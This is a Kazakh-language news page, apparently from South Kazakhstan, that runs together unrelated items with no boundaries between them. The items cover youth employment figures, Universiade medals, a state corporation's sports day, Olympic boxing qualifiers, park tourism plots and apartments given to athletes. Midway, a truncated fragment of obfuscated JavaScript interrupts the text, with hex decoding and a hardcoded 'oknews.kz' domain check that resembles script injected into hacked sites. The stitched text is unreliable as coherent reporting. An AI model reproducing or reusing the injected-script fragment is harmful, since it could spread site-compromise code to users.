Партиялық жобаларды іске асыру туралы:

 «Сәтті Қадам!» партиялық жобасы аясында жоғары оқу орындарын аяқтаған тұл жетім жастардың тізімі жасақталынып, оларды жұмыспен қамту мақсатында кәсіпорындармен, жұмыс берушілермен 30-ға жуық меморандум жасалынды.

2015-2016 жылдары аралығында 274 тұл жетім жас жоғары және орта арнаулы оқу орындарын бітірген. Оларды жұмыспен қамту шараларын жүргізу нәтижесінде, 174 жас жұмыспен қамтылды.                     93 жасты жұмыспен қамту шаралары жүргізілуде.

Қазіргі таңда, ақылы негізде ЖОО-ға 2020 мектеп түлегі, ҚжТББ мекемелері 1148 түлек, кадрларды даярлау және қайта даярлау орталықтарына оқуға баруға 133 түлек, әскерге баруға  117 түлек ниет білдірді. Өз бетімен 485 түлек жұмысқа орналасты.    Сонымен қатар, 36 мектеп түлегі денсаулығы және отбасылық жағдайына байланысты ата-аналарының бақылауында отыр. Ұлттық бірыңғай тестілеуге қатыспаған облысымыздың 11596 мектеп түлектері туралы деректер қоры толығымен қалыптастырылды. Қазіргі таңда, жоғары оқу орындарындағы дайындық курстарына 2081 мектеп түлегі, 173-і шетелдік жоғары оқу орындарына КжТББ мекемелеріне 3115 түлек, кадрларды даярлау және қайта даярлау орталықтарына оқуға баруға 1178 түлек, әскерге   220 түлек шақырылды. 1680 мектеп түлегі жұмысқа және 2713 түлек өз-өзін жұмыспен қамтып отыр.  Сонымен қатар, 236 мектеп түлегі денсаулығы және отбасылық жағдайына байланысты ата-аналарының бақылауында отыр.

        «Жастарды кәсіпкерлікке баулу, жастар кәсіпкерлігін қолдау» жобасы аясында 2016 жылдың қаңтар — наурыз айлары аралығында «Даму» кәсіпкерлікті дамыту қорымен «Кәсіпкерлік негіздері» атты оқыту курсын ұйымдастыру үшін арнайы бірлескен іс-шаралар жоспары әзірленді. Жоспарға сәйкес 100 жуық жас арнайы әзірленген оқыту курстарына қатысып, сертификат алды.

Жастарды кәсіпкерлікке баулу мақсатында 2016 жылдың шілде айында Шымкент қаласының кәсіпкерлік бөлімімен бірлесіп «Innovation» стартап бизнес идеялар байқауы ұйымдастырылды. Байқауға 82 жоба ұсынылып, олар ішінде ең үздік бизнес идеялар үшін 2000000 млн. теңге көлемінде 10 грант берілді.

Бүгін Оңтүстік Қазақстан облысының әкімі Жансейіт Түймебаев жүлдегер атанған қос қызды телефон арқылы арнайы құттықтады.

«Екеуің Оңтүстіктің ғана емес, Қазақстанның атын аспандатып, намысын қорғай білдіңдер. Ел сендердің жеңістеріңе шын жүректен қуанып жатыр. Барлық командаластарыңа сәлемдемемізді жеткізіп, тағы да жеңіс күтіп отырғанымызды айтыңыздар. Оңтүстік сендерді зор қуанышпен қарсы алғалы  отыр»,- деді Жансейіт Қансейітұлы.

Айта кетейік, Алматыда өтіп жатқан қысқы Универсиада ойындарына Оңтүстік Қазақстан облысынан 5 спортшы қатысуда. Соның алғашқы екеуі олжа салып, ел мәртебесін асқақтатты.

«Бұл жарысқа Оңтүстік Қазақстаннан үш қыз қатыстық. Мен, Жанбота Алдабергенова және Ақмаржан Қалмұрзаева. Үшеуміз де жеңіске жетуді қаладық. Алайда бұл ойымыз жүзеге аспады. Қытай қызын алға жіберіп алдық. Бәлкім дайындық жетіспеген болар. Жалпы, дәл осындай байрақты бәсекенің елімізде болып жатқанына қуаныштымыз» ,- деді Жібек Арапбаева.

Айтулы спорт бәсекесінде күмістен алқа таққан Жібек Арапбаева 2011 жылы Алматыда өткен  Азиада ойындарының  күміс жүлдесін жеңіп алған болатын.

ontustik.gov.kz

«Азаматтарға арналған үкімет» мемлекеттік корпорациясы» КЕ АҚ департаменттері арасында жалпы командалық есепте бірінші орынды Оңтүстік Қазақстан облысының құрамасы алды. Ал футбол бойынша бірінші орынды Қостанай облысы, волейбол мен шахмат бойынша ОҚО құрамасы, арқан тартуда Маңғыстау облысының құрамасы, эстафетада Солтүстік Қазақстан облысының құрамасы алды.  Мемлекеттік корпорация Қазақстан Республикасының 25 жылдығын тойлауға орай өзінің жұмыскерлері арасында 8-10 қыркүйек аралығында 1-ші республикалық спартакиада өткізді. Шараға 14 облыстық, Астана және Алматы қалаларының филиалдарынан, сондай-ақ мемлекеттік корпорацияның орталық аппаратының 17 команда құрамасы қатысты.

«Азаматтарға арналған үкімет» мемлекеттік корпорациясы» КЕ АҚ Басқарма төрағасының орынбасары Медет Құмарғалиевтің айтуынша, өңірлік деңгейдегі  іріктеу турларында департаменттердің 18 мыңға жуық қызметкерлері қатысқан, бірақ Алматы қаласына бірінші командалық орынға таласуға барлығы 289 адам қатысты. «Азаматтарға арналған үкімет» мемлекеттік корпорациясы» жас және перспективті дамып келе жатқан ұйым. Ол 4 мекеменің бірігуі арқылы құрылғандықтан, қазіргі уақытта ұжымның бірігуі мен ынтымақтасу қажеттілігі бар, ал спорт адамдарды жақындастырмайды ма? Бүгін тек біз ғана емес, барлық Қазақстан оған үлкен көңіл бөлуде», — деп атап өтті.

Медаль үшін күрес 5 спорт түрі бойынша өтті, бұл мини-футбол, волейбол, шахмат, арқан тарту және эстафета. Бастапқы кезеңде қатысушылар сегізден бір финалға, одан кейін ширек финалға өту үшін күресті.

«Барлық қарсыластар өте күшті болды, дайындық республикалық спартакиадаға кім қатысатындығы белгілі болғаннан дейін жүргізілді. Соңына дейін біздің жеңетіндігімізге сенген жоқпын, міне бүгін еркін демалуға болады, себебі  спартакиаданың «алтыны» Оңтүстік Қазақстанға барады», — деді Оңтүстік Қазақстан облысы құрама командасының капитаны, Оңтүстік Қазақстан бойынша «Әлеуметтік төлемдерді ведомствоаралық төлеу орталығы» департаментінің директоры Бахыт Басынбек.

«Азаматтарға арналған үкімет» мемлекеттік корпорациясы осы жылдың сәуірінде «Халыққа қызмет көрсету орталығы», «Зейнетақы төлеу жөніндегі орталық», «Жылжымайтын мүлік орталығы» және «Жер кадастры ғылыми-зерттеу орталығы» 4 РМК базасында құрылғандығын еске саламыз.Қазіргі уақытта мемлекеттік корпорацияда әртүрлі лауазымдарда 21 мыңнан астам адам жұмыс жасайды.

Шымқаладағы «БИІК» деп аталатын сауда орталығында негізінен азық-түліктер, сусындар, ішімдіктер толтырылған. Бұл  —  Жұбайы Альбина Елшиевамен бастаған бизнестегі алғашқы қадамдары.  Жаңадан салынған ең биік ғимарат БИІК кешендер қалашығынан ашылған сауда орталығының алғашқы алушылары да спортшылар болды.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "oknews.kz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Шымкенттік боксшы Қайрат Ерәлиев тамыз айында Рио-де-Жанейрода өтетін Олимпиада ойындарының жолдамасын иеленді. Қытайдың Цяньань қаласында өткен іріктеу турнирінде жерлесіміз қосымша жолдамаға таласта жеңіске жетті. 56 келіге дейінгі салмақта бақ сынаған боксшымыз шешуші сында филиппиндік Марио Фернандесті жеңді.  

Қазақ боксшылары Қытай жерінде жанкүйерлерін жерге қаратқан жоқ. Азия Олимпиадалық іріктеу турнирі біз үшін сәттілігімен аяқталып отыр. Көрші елде үш рет Әнұранымыз шырқалды. Үкілеп апарған алтаудың да бағы жанып, жетпей тұрған алты жолдаманы қоржынға салды. Арулар сапынан Дариға Шәкімова ғана мақсатына жетті.

Олимпиада жолдамасы үшін талас қызып тұр. Қай спорт түрі болса да. Ең бірінші болып зілтеміршілеріміз жоспарын өткен жылы-ақ орындап тастағанын көпшілікке белгілі. Мінекей, екінші болып бокстан ерлер командамыз 10 лицензияны да қоржынға салды. Он жолдама – бұл тарихи жеңіс. Дегенмен, алда кемшін соққан тұстарымызды толықтыру міндеті тұр.
Бес алтын, бір күміс иемденген Өзбекстан командалық есепте бәрін басып озды. Үш алтын, бір күміс, екі қоласы бар қазақ жігіттері екінші тұғырға жайғасты.Соңғы кездері «өзбек синдромы» көп айтылып кеткені рас. Спорт болғандықтан бірде жеңіс, бірде жеңіліске тап болатыны заңдылық. Буын алмасу, өрлеу, құлдырау кезеңін де бастан өткересің.  Қазір Азия құрлығында бокс қарқынды даму жолына түскенін аңғарасыз. Бұрын тек өзбектерден ғана іш тартатын едік. Бүгінде Қытай, Үндістан, Моңғолия, Таиланд өрендеріне де тыңғылықты бап керек. Бұл жолы да қытай, үнді, өзбек боксшылары қапы қалдырған сәттер кезікті.

Бәрі де бапкерлердің сынынан өткен, тәжірибелі боксшылар. Абылайхан Жүсіпов (64 келі), Жәнібек Әлімханұлы (75 келі) және Иван Дычко (+ 91 келі) іріктеу турнирінің чемпионы атанды. Әділбек Ниязымбетов (81 келі) пен Дариға Шәкімова (75 келі) финалда сүрінсе, Олжас Сәттібаев (52 келі) пен Қайрат Ерәлиев (56 келі) үздік үшінші орынды түйіндеді. Бір айта кетерлігі, Біржан Жақыпов, Данияр Елеусінов, Әділбек Ниязымбетов және Иван Дычкодан басқаларының төртжылдықтың басты бәсекесіне алғаш рет жолы түсіп отыр. Рас, Олжас Сәттібаев бұл циклда біраз жетістіктерге қол жеткізді. Азия чемпионы, әскерилер арасында әлем чемпионатын да ұтты. Қайрат Ерәлиев 2013 жылдан бері ұлттық құрамада тер төгіп жүр. Содан бері әлем чемпинаты мен Азия ойындарында қола жүлдеден олжа салды. Соңғы Азия чемпионатында да үшінші орыннан көрінді. Енді міне, Олимпиадалық іріктеу турнирін де қола жүлдемен аяқтап отыр. Әлі де көп жұмыс істеу керек екенін өзі ұғынса керек. Бокс жанкүйерлері сын айтады, қателігін көрсетеді. Бұдан спортшы өспесе, өшпесі анық.

Қайрат та 2008 жылғы Бейжің ойындарында қазаққа қола әперген Еркебұлан Шыналиев туған ауылдан. Жұлдыз ауылының жеңісті дәстүрін абыроймен арқалап келеді. 64 келіде былтыр ғана ересектер сапына ауысқан Абылайхан Жүсіпов ерледі. Небәрі он тоғыз жасар дарын. Бір жағынан, тым жас деп айтуға да болмайды. Он жеті жасында Олимпиаданың жүлдесін алғандар баршылық. Жиырма жасында чемпион болғандардың да есімі тарихта жазулы. Сондықтан, Жүсіповтың  ересектер дуындағы қадамына сәттілік тілейміз. Жас дарынның өнеріне ең алғаш 2013 жылы жасөспірімдер арасындағы Азия біріншілігінде куә болып едік. Ол кезде 54 келіде Азияның үздігі атанды. Өзі команда каптаны. Көшбасшылық қасиеті сол кезден-ақ байқалатын. Содан бері тек жеңістен жеңіске жетіп, тәжірибесі молайды. Техникалық шеберлігі де артты. Мінекей, Қытай елінде  қарсыластарының бәрінен үстем шығып, алтын жүлдені мойнына тақты.

Жәнібек Әлімханұлының жеңістері де жанкүйерлердің көз алдында. 2013 жылдан бері ресми халықаралық жарыстардың бәрін де алтын сыйлады. Өткен жылы тізгінін босаңсытып алып, опық та жеді. Азия чемпионатында да, әлем чемпионатында да жеңіліске ұшырады. Сәтсіздік сабақ болса керек, биыл міне көптен бергі арманы Олимпиада ойындарына баратын болды. Соңғы екі  қарсыласын да техникалық нокаутпен жеңгенін де айтьа кетсек.  Мұхтархан Ділдәбековтен кейін аса ауыр салмаққа қожайын болып жүрген Иван Дычкодан тек медаль күтетін болдық. Өзі де әбден жанкүйерлердің сенімінен шығып жүр. Қай жарыс болса да, Иванымыз  оңайлықпен  иіле қоймайды. Тек бас жүлде үшін таласатынына бойымыз әбден үйренді. Олимпиада ойындарының, әлем чемпионатының жүлделерін жиып-теріп алды. Дычкоға жетпей тұрғаны тек Олимпиада алтыны. Ендігі мақсат – 51 және 60 келідегі бұрымды боксшылардың жолдама жеңіп алуы. Бұл мақсатты орындауға да мүмкіндігіміз бар. Яғни, 19-27 мамыр аралығына жоспарланған әйелдер арасындағы әлем чемпионаты Астанада өтеді.

Негізгі мақсаты — мемлекеттік ұлттық табиғи саябақтар аумақтарында туристік және демалу қызметін жүзеге асыру үшін туризм объектілерін салуға өңірдің кәсіпкерлерін тарту болып табылатын жиында «Сайрам-Өгем» МҰТС мен «Түркістан-Сырдария» МӨТС-інен ұсынылған 5 жер учаскесінің таныстырылымы өтті.

Атап айтқанда, «Сайрам-Өгем» саябағының Машат шатқалынан 4,4 гектарға (Түлкібас филиалы), Иіржол шатқалынан 1,5 гектарға (Төлеби филиалы) туристік кешен құрылысын жүргізу ұсынылса, Бак-Шелпек шатқалының 1,5 гектар аумағынан (Өгем филиалы) демалыс орнын салу жоспарланды. Сонымен қатар, туризм нысандары «Түркістан-Сырдария» табиғи саябағының Сырдария филиалындағы Байырқұм және Тақыркөл орманшылығының маңынан да бой көтеретін болды.

Жобалардың таныстырылым қорытындысы бойынша осы жылдың ақпан айында мемлекеттік ұлттық табиғи саябақтар  мен мемлекеттік орман табиғи  резерваттары жер учаскелерін ұзақ мерзімді пайдалануға беру бойынша тендер өткізу туралы хабарландырулар беретін болды.

Айта кетейік, бүгінге дейін «Сайрам-Өгем» МҰТС-нің 9,5 мың гектардан астам аумағын құрайтын 218 жер учаскесі ұзақ мерзімді пайдалануға, 217 гектардан астам аумақты алатын 114 жер телімі қысқа мерзімді пайдалануға берілген.

Шымкент қаласы әкімдігінің баспасөз хатшысы.

Оңтүстік Қазақстан облысының әкімі Асқар Мырзахметов ел намысын халықаралық додаларда абыроймен қорғап жүрген бірнеше жергілікті спортшыларға құрмет көрсетіп, пәтер кілттерін тапсырды